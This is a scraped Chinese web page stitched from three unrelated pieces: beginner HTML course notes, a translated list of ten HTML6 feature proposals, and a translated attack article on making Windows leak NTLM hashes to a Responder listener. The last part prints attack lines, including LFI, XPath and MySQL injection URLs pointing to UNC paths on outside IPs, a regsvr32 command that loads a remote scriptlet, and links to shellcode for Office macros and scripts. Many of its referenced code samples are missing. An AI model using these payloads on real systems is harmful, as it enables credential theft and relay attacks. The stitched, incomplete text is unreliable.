整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

Web基础知识 、 HTML快速入门

Web基础知识 、 HTML快速入门

1272208556@qq.com

1、HTML + CSS + UI

2、Javascript

3、HTML5CORE + AJAX + Jquery

4、Bootstrap,Angular JS + 其他框架

1、HTML + CSS3BASIC + PRO + UI + PRO + CSS3CORE + PRO

======================================================

1、Internet

1、什么是Internet

是全球性计算机互联网络,是由若干终端(PC,移动端)以及特殊的传输介质而组成的一个网络结构

PC:Personal Computer

2、提供的服务

信息共享

Telnet : 远程连接

Email : 电子邮件

WWW : 万维网 www.baidu.com

BBS : 电子公告板 ,论坛

FTP : 上传和下载服务

3、实现技术

1、分组交换原理:数据通过数据包进行传递,到达目的地后,对数据包进行重组

2、TCP/IP 协议簇

2、WEB

1、什么是WEB

就是 WWW(World Wide Web)

w3c : www consortium 万维网联盟

2、能干什么

能够将各类的信息和服务进行连接,提供图形用户界面

信息:文字、图片、音频、视频

服务:Telnet, FTP , Mail , HTTP ...

3、万维网就是无数的文档集合(网页文档),文档会驻留在世界(互联网)的任何一个角落

3、WEB的工作原理

WEB是基于Internet的多媒体信息服务系统

1、基于 浏览器 / 服务器 模式

B / S : Browser / Server

在服务器上,主要以网页的形式发布多媒体信息

2、由WEB服务器、浏览器、通信协议组成

3、WEB 相关技术

1、服务器端技术(后台)

PHP,JSP,ASP 。。。 。。。

2、客户端技术(前端技术)

HTML,

CSS,

Javascript

=========================================================

1、HTML 入门

1、什么是HTML

HTML(Hyper Text Markup Language),超级文本标记语言

超文本:

a

标记 : 超文本都是由标记组成的

<a>

语言 : 包含自己独特的语法

HTML最终由浏览器负责解释

HTML总可以嵌入一些脚本语言编写的程序段:Javascript,VBScript

2、HTML版本

超级文本标记语言(第一版)

HTML2.0

HTML3.2

HTML4.0

HTML4.01

XHTML1.0

HTML5

3、标签(标记)

1、标签语法

1、必须使用尖括号扩起来

<a>,<div> ...

<A>,<a>

2、有封闭类型的标签,也有非封闭类型的标签

1、封闭类型

也称作双标记,则必须成对出现

<标记>文本内容</标记>

不同的标记,决定了"文本内容"的不同表现形式

eg:<a></a>,<p></p>,<div></div>

2、非封闭类型

也称作单标记、空标记

<标记>

或者

<标记/>

eg:

<hr>,<br>,<img>

3、元素

标记就是元素,元素也称为标记

4、元素嵌套(标签嵌套)

标签之间相互嵌套,形成复杂的语法结构

<body>

<p>

<a></a>

</p>

</body>

5、属性

属性是出现在开始标记中的内容,作用是修饰元素

<p 属性名="属性值"></p>

<p 属性名='属性值'></p>

<p 属性名=属性值></p>

标准属性:每个元素都会具备的通用属性

id : 定义每个标签的唯一标识

title:提示文本

class:样式相关,类样式

style:样式相关,行内样式

操作1:定义一对p标签,id属性设置为program

<p id="program"></p>

多属性:

<p 属性1="值" 属性2="值"></p>

注意:多属性之间,排名不分先后

2、创建HTML文档

开发工具:任何一个文字编辑软件都可以开发HTML

EditPlus : 超级记事本

运行环境:任何一个浏览器都能运行HTML

Google Chrome,Mozilla Firefox,Microsoft IE,Safari,Opera

超文本文件(HTML文档):

是一个以.html或.htm结尾的文档

3、文档结构

1、文档类型声明

声明使用的html版本和风格

<!doctype html>

2、html页面

1、文档根元素

每个文档有且仅有一对根元素 , html

2、在根元素的内部,包含两对子元素

1、head : 页面的头部内容

定义页面全局信息

包含:

<title></title> : 网页标题

<meta />:声明元数据(编码,关键字,描述)

<style></style>:声明内部样式表

<link />:引入外部样式表

<script></script>:定义或引入脚本文件

2、body : 页面的主体内容

任何一个标签,都可能会出现在body中

3、head元素

1、声明网页标题

<title></title>

2、定义网页文本编码格式

默认:ISO-8859-1,只支持英文以及英文状态下的标点符号

utf-8:支持中英文,标点符号

<meta charset="utf-8" />

3、... ...

4、body元素

属性:

text : 文本的颜色

bgcolor : 背景颜色

练习1:

1、为body添加两个属性,text,bgcolor

2、文本颜色 : 红色(red)

背景颜色 : 银色(silver)

3、在body中随意写上一段文本,观察页面显示效果

5、文本标记

1、特殊的文本

转义字符:

空格:&nbsp;

< : &lt; less than

> : &gt; greater than

版权标识:&copy;

2、文本标记

1、文本样式

<b>...</b> : 加粗文本

<i>...</i> : 斜体文本

<u>...</u> : 下划线

<s>...</s> : 删除线

<sup>...</sup> : 上标

<sub>...</sub> : 下标

2、标题元素

1-6级6个标题

<hn></hn> n:1-6

一级最大

六级最小

3、段落元素

提供了结构化文本的表现方式

语法:<p></p>

注意:

1、每对p标签单独成一个段落

2、段落与其他元素有垂直空白,段落间距

常用属性:

align : 水平对齐方式

取值:left center right

4、换行元素

在代码的任何位置处,实现回车的效果

<br />

5、水平线

又叫分割线

<hr />

属性:

1、size : 水平线的粗细,通常以像素(px)为单位

2、width: 宽度

3、align: 水平线的水平对齐方式

4、color: 颜色

6、分区元素

目的:为元素进行分组,多数用在布局中

块分区元素:<div></div> 层

行内分区元素:<span></span>

注意:

div :主要用在布局上

span:修改其内部内容的样式

7、预格式化

保留源文档中的空格和回车

<pre>

文本内容

</pre>

3、注释

可以写在html源码中,但不被浏览器解释的文本

语法:

<!-- 注释内容 -->

4、行内元素与块级元素

块级元素:默认情况下,块级元素独占一行,元素的前后都会自动换行 div,hn,hr,p

块级元素作用:布局

行内元素:默认情况,多个元素位于同一行,不会换行

span,文本标记... ...

行内元素作用:修改内部内容的样式

TML5方兴未艾,但也有不少遗憾。下面提了10点希望在HTML6中看到的特性,欢迎评论。

HTML6提案1:对视频对象的更多控制

我们可能永远不会解决与压缩编解码器的争斗,但我们可以与之配合。不同的压缩算法可能需要更多的工作来实现,但是它们提供竞争。能对展现在页面上的视频帧提供更多控制的方式会是更好的方案。当前的标准是使用视频中的一系列帧填充一个矩形。然后提供了一个带有注释,字幕和其他内容的文本轨道的控制。一些聪明的人已经开始将注释与其他DOM对象同步。但是如果有回调钩子和同步机制是不是更好?例如,DOM与视频混合的能力如何?

HTML6提案2:图像的浏览器大小

照片在屏幕上看起来要漂亮,需要多少像素?这个答案根据根据设备的不同而不同。即使窗口的大小也会改变最小分辨率。但HTML标准

<img>

标签只能获得一个SRC,它指向一个可能有太多或太少像素的图像文件。如果它太多,浏览器必须降级图像才能显示,这就浪费网络带宽和时间。如果像素太少,效果又太差。更好的HTML协议应该为图像提出所需的宽度或高度,以便服务器可以提供最佳分辨率。

HTML6提案3:可插拔语言

标准的HTML浏览器使用且只是用JavaScript。但由于某些原因,我们需要用script标签的type属性设定为text/javascript来指定语言类型。从html4开始,type一直就没有默认值。

HTML4的建议稿觉得有人可能会使用像text/tcl或text/vbscript这样的类型,但是实际上有没有人使用这些?微软已经弃用了IE11的text/vbscript,而且近年来Sun在使用tcl。

Google正在慢慢推Dart,但包括Dart的Chromium(Chrome的开发版)确有一个不祥的警告 :“不要使用Dartium作为主浏览器,不要将Dartium分发给用户!”说明Google对Dart也不是很有信心。

但在未来,我们可以拥有更强大的可插拔语言。它将为开发人员增加更多的灵活性和设计选择。会不会把互联网弄坏?如果有一个稳固的开源实现,它就可以被所有浏览器采用。可能很难让网站使用可插入语言来为广泛的受众提供内容 - JavaScript会可以继续拥有广泛的网络基础 - 但是对于使用专门语言的更专业的扩展来说,这可能是一个很好的选择。

HTML6提案4:可插拔预处理器

想超越JavaScript的开发人员可以有另外一个解决方案,就是将其他语言转换为JavaScript。许多开发人员已经使用一些翻译语言(如CoffeeScript)的预处理器。

杰里米·阿什肯纳斯(Jeremy Ashkenas) 列出来了可以编译成JavaScript的语言列表,范围很广。Lisp,Python,Ruby,Erlang,Scala - 列表还在继续扩大。

这样的提案将会付出代价。当一种语言被交叉编译成JavaScript时,通常会在同一时间进行细化,生成一个更小的更容易通过互联网传输的版本。在部署过程中执行此操作比在每个人的浏览器上执行的效率要高得多。

但是,缩小的版本有其缺点。开放一直是网络的巨大优势之一。我们能够通过阅读通常仍然以人类可读的形式写的JavaScript代码来学习和调试。交叉编译和缩小的代码对于其他人是无价值的。它正在慢慢打破Web的开放性。

在浏览器中执行此转换还有其他优点。每台机器都有不同,转换过程需要利用到RAM大小、视频卡库等知识。当前版本的HTML假定采用JavaScript的一般版本,这使得为本地机器优化代码变得更难。

HTML5提案5:有保证的库

JavaScript编程的世界已经被jQuery以及其他标准库改造了。然而,几乎每个网站仍然要加载自己加载某个版本的副本。在加载jQuery时浪费的能量可能足以照亮一个小国家,治愈癌症或两者兼而有之。

一些网站使用像Google或Yahoo这样的公司托管的标准缓存版本,这样可以节省带宽,但下一个HTML标准应该比这更好。如果大量设计人员同意,则可以使用浏览器进行分发。这将节省更多时间再次刷新jQuery的缓存版本。

HTML6提案6:授权对联系信息的访问

浏览器已经可以共享位置信息。期待更多国家加入。人们通常希望在自己设备的联系信息库里面放入电子邮件地址或电话号码。现在他们必须剪切和粘贴。为什么不让JavaScript挖掘并保存所有的剪切和粘贴?这对移动设备来说是非常棒的。在交互上可以提供细粒度的控制,允许人们来自某些域的代码可以自动访问到联系信息,而其他域不行。

HTML6提案7:相机集成

在网络摄像头和手机的多摄像头提供的设备基础上,用户与浏览器交互的场景少不了镜头和麦克风。W3C已经在探索一种向表单添加照片或视频捕获的方法 。一些浏览器已经支持自己的版本,如

webkitGetUserMedia

。很容易想到更多。表单元素还可以访问存储在设备中的存储空间,并且该设备可以更好地控制摄像机和捕获速率。这将让网站与专门的应用程序竞争。

HTML6提案8:硬件化认证

鉴于构建可信硬件是多么困难的事情,因此我们可能会提供很多硬性和快速认证的方式。而浏览器可以为此提供更多的功能。浏览器可以使用嵌入式Key进行签名,而不是Cookie。这些可以以硬化的芯片存储在设备之外,以防止人们提取密钥。向浏览器添加API将允许网站要求更好的数字签名。如果把太多的信任放在其中,这可能是危险的,但这将是cookie和会话身份验证的一个步骤。

HTML6提案9:更好的注释

文章底部的注释部分只是我们如何注释文章的开始,但是一个标准的结构可以添加与段落、句子、甚至单词相关的注释。复杂的版本甚至可以允许对视频内的图像或某个时间点进行注释。有些网站正在开始提供这些功能,但在标准化API方面会使所有网站和浏览器都以相同的方式处理基本注释。W3C有一个研究该领域并提供基本标准的小组。

HTML6提案10:更强的微格式

HTML标签区分标题,段落和页脚,但还不够多。为什么不创建一个标准的方法来指定其他常见的细节,例如地址或电话号码的部分?当然,用于描绘电子邮件地址的标准标签可以使垃圾邮件发送者的生活变得更轻松,但标准的一组标签可以加速网页抓取工具和搜索引擎,这将有利于我们所有人。W3C一直在探索微格式来标记数据,并曾经认为它们是HTML5的一部分,尽管它们不是。我们可以为地点,时间,日期,出售物品,参考书目以及所有标准数据使用更全面的标记。

译:pwn_361

稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


当我们想使用Responder工具窃取Windows的NTLM HASH时,经常会有一个疑问,用什么办法才能让Windows系统发送NTLM HASH值呢?经过一些实验后,我发现办法有很多,现在,我乐意将我发现的一些很酷的东西分享给大家,所以写了这篇文章。需要说明的是,在我们下面的攻击场景中,你不仅可以使用Responder偷取到NTLM HASH值,还可以直接使用SMBRelay攻击方法。

本地文件包含(LFI)


在PHP中,利用include()函数可以实现解析网络路径的目的(在这里,大家自己想一下,为什么需要触发网络路径解析,触发网络路径解析后,为什么responder工具就有可能会抓取到NTLM HASH值呢?)。利用方法如下图:

1
http://host.tld/?page=//11.22.33.44/@OsandaMalith

下图是实验结果:

XML外部实体注入(XXE)


在这里,我使用了“php://filter/convert.base64-encode/resource=”脚本,该脚本能解析网络路径。

下图是实验结果:

XPath注入(XPath Injection)


通常,在out-of-band(OOB) XPath注入攻击中,doc()函数可用于解析网络路径。利用方法如下:

1
http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')

下图是实验结果:

MySql注入


在MySql out-of-band注入中,我写了一篇完整的帖子,大家可以看一下,可用到互联网中。你也可以使用“INTO OUTFILE”去解析一个网络路径。利用方法如下:

1
http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\192.168.0.100\@OsandaMalith’),4;%00

下图是实验结果:

Regsvr32


偶然的一个机会,我发现Regsvr32竟然也能实现我们的目的,利用方法如下:

1
regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll

下图是实验结果:

批处理文件


利用批处理文件时,你有很多方法可以去实现目的:

下图是实验结果:

Windows自动完成(Auto-Complete)


你只需要在合适的位置输入“\host\”,就可以自动完成,输入位置如下:

Autorun.inf


需要说明的是,这种方法只适用于Windows 7以下系统,因为在Windows 7以上系统中,这个功能被取消了。不过,你可以通过修改自动运行的组策略,重新启用这个功能。在实际运用时,最好确保Autorun.inf文件是隐藏的,方法如下:

快捷方式文件(.lnk)


我们可以创建一个包含网络路径的快捷方式文件,当你打开打时,Windows就会尝试解析网络路径。你还可以指定快捷键以触发快捷方式。对于图标位置,你可以使用一个Windows二进制文件、或位于system32目录中的shell32.dll、Ieframe.dll、imageres.dll、pnidui.dll、wmploc.dll等。

Internet快捷方式(.url)


另一个可以利用的快捷方式是Internet快捷方式,你可以将下面的代码存储为“.url”文件:

需要添加的内容如下:

Powershell


在Powershell中,存在很多可以解析网络路径的小脚本,部分利用方法如下:

将Shellcode嵌入到宏里


在这里,我们将上面的Shellcode嵌入到Word/Excel宏里面。你可以使用同样的代码嵌入到一个VB6应用程序中:

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba

将Shellcode嵌入到VBS和JS代码中


subTee做了很多关于JS和DynamicWrapperX的研究。你可以找到一个使用DynamicWrapperX DLL的POC,根据他的研究,我将Shellcode嵌入到了JS和VBS中。有趣的是,我可以将Shellcode嵌入JScript或VBScript脚本中,再将这些脚本内嵌到HTML或“.hta”格式的文件中:

JScript:

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js

VBScript:

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs

在Windows系统中,可能还存在很多种窃取NTLM HASH的方法,你可以断续探索。